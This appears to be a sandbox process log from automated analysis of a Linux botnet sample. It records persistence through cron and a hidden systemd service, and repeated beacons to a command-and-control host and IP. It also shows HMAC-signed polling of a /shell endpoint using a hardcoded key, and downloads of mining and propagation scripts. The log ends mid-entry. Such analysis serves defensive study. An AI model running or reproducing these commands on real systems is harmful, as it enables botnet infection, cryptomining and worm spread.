- /bin/uname
  uname -srm
  2⤵
  PID:1317
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"hostname\":\"debian9-armhf-20260513-en-2\",\"os\":\"Linux 4.9.0-13-armmp-lpae armv7l\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  - Checks CPU configuration
  PID:1318
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1326
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1328
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1330
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1333
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1336
- /bin/sleep
  sleep 2
  2⤵
  PID:1338
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1346
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1348
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1350
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1353
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Reads runtime system information
  PID:1356
- /bin/sleep
  sleep 2
  2⤵
  PID:1358
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1365
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1366
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1368
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1371
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1375
- /bin/sleep
  sleep 2
  2⤵
  PID:1378
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1384
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1386
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1388
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1391
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1394
- /bin/sleep
  sleep 2
  2⤵
  PID:1396
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1402
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1404
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1408
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1411
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1414
- /bin/sleep
  sleep 2
  2⤵
  PID:1416
- /bin/sleep
  sleep 10
  2⤵
  PID:1418
- /bin/hostname
  hostname
  2⤵
  PID:1428
- /bin/uname
  uname -srm
  2⤵
  PID:1430
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"hostname\":\"debian9-armhf-20260513-en-2\",\"os\":\"Linux 4.9.0-13-armmp-lpae armv7l\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1431
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1439
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1440
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1442
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1445
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1448
- /bin/sleep
  sleep 2
  2⤵
  PID:1450

/usr/bin/nohup
nohup /bin/sh /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
1⤵
PID:707

/bin/sh
/bin/sh /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
1⤵
- Creates/modifies Cron job
- Modifies systemd
- Writes file to tmp directory
PID:707
- /bin/rm
  rm -f /var/tmp/.w.test
  2⤵
  PID:712
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:714
- /bin/chmod
  chmod +x /tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /bin/cat
  cat /tmp/aa74f55a0cf28a04720c1108f1a16b0e531fcf2e184ea386ede4a3d3177da554
  2⤵
  PID:720
- /bin/chmod
  chmod +x /var/tmp/.w.sh
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  - Reads runtime system information
  PID:726
- /bin/grep
  grep -q /var/tmp/.w.sh /etc/rc.local
  2⤵
  PID:729
- /bin/systemctl
  systemctl
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:739
- /bin/mkdir
  mkdir -p /etc/systemd/system
  2⤵
  PID:745
- /bin/systemctl
  systemctl enable .w.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:750
- /bin/systemctl
  systemctl start .w.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:774
- /bin/hostname
  hostname
  2⤵
  PID:809
- /usr/bin/wc
  wc -c
  2⤵
  PID:816
- /bin/hostname
  hostname
  2⤵
  PID:821
- /bin/uname
  uname -srm
  2⤵
  PID:825
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"hostname\":\"debian9-armhf-20260513-en-2\",\"os\":\"Linux 4.9.0-13-armmp-lpae armv7l\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:831
- /usr/bin/wget
  wget -q --no-check-certificate -O /tmp/.ms.sh https://ghvfcd.quest:8443/start_mining.sh "--timeout=30"
  2⤵
  - Writes file to tmp directory
  PID:881
- /bin/chmod
  chmod +x /tmp/.ms.sh
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:914
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:936
- /usr/bin/wget
  wget -q --no-check-certificate -O /tmp/.ps.sh https://ghvfcd.quest:8443/propagate.sh "--timeout=30"
  2⤵
  - Writes file to tmp directory
  PID:940
- /bin/chmod
  chmod +x /tmp/.ps.sh
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /usr/bin/wget
  wget -q --no-check-certificate -O- "--post-data={\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"output\":\"executed:propagate\"}" "--header=Content-Type: application/json" https://ghvfcd.quest:8443/result "--timeout=10"
  2⤵
  PID:957
- /bin/sleep
  sleep 2
  2⤵
  PID:975
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1004
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1015
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1017
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Reads runtime system information
  PID:1021
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1024
- /bin/sleep
  sleep 2
  2⤵
  PID:1026
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1032
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1034
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1038
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1041
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1044
- /bin/sleep
  sleep 2
  2⤵
  PID:1046
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1055
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1057
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1059
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  PID:1061
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1065
- /bin/sleep
  sleep 2
  2⤵
  PID:1067
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1075
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1076
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1079
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1113
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Reads runtime system information
  PID:1154
- /bin/sleep
  sleep 2
  2⤵
  PID:1177
- /bin/sleep
  sleep 10
  2⤵
  PID:1179
- /bin/hostname
  hostname
  2⤵
  PID:1185
- /bin/uname
  uname -srm
  2⤵
  PID:1190
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"hostname\":\"debian9-armhf-20260513-en-2\",\"os\":\"Linux 4.9.0-13-armmp-lpae armv7l\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  - Checks CPU configuration
  PID:1192
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1200
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1203
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1206
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1207
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1212
- /bin/sleep
  sleep 2
  2⤵
  PID:1213
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1217
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1221
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1223
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1225
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1231
- /bin/sleep
  sleep 2
  2⤵
  PID:1233
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1239
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1241
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1243
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1246
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1249
- /bin/sleep
  sleep 2
  2⤵
  PID:1251
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1260
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1261
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1264
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1266
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  PID:1270
- /bin/sleep
  sleep 2
  2⤵
  PID:1271
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1277
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1279
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1282
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1284
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1289
- /bin/sleep
  sleep 2
  2⤵
  PID:1291
- /bin/sleep
  sleep 10
  2⤵
  PID:1293
- /bin/hostname
  hostname
  2⤵
  PID:1310
- /bin/uname
  uname -srm
  2⤵
  PID:1312
- /usr/bin/curl
  curl -sk https://ghvfcd.quest:8443/beacon -X POST -H "Content-Type: application/json" -d "{\"bot_id\":\"debian9-armhf-20260513-en-2-28\",\"hostname\":\"debian9-armhf-20260513-en-2\",\"os\":\"Linux 4.9.0-13-armmp-lpae armv7l\",\"version\":\"5.0\"}" --connect-timeout 15
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1313
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1323
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1327
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1329
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1331
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  PID:1335
- /bin/sleep
  sleep 2
  2⤵
  PID:1337
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1343
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1347
- /usr/bin/wget
  wget -q --no-check-certificate -O- "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" "--timeout=10"
  2⤵
  PID:1349
- /usr/bin/curl
  curl -sk "https://ghvfcd.quest:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1351
- /usr/bin/curl
  curl -sk "https://94.183.185.66:8443/shell?bot_id=debian9-armhf-20260513-en-2-28&sig=cb20607a577a5ae49c89051792a4ad228997999b01c60353daff6a5b1ff30fa8" --connect-timeout 10
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1355
- /bin/sleep
  sleep 2
  2⤵
  PID:1357
- /usr/bin/python3
  python3 -c " import hmac,hashlib key='wormhole42_botnet_2026_secret_key'.encode() print(hmac.new(key,'bot_id=debian9-armhf-20260513-en-2-28'.encode(),hashlib.sha256).hexdigest()) "
  2⤵
  PID:1361
- /usr/bin/wget
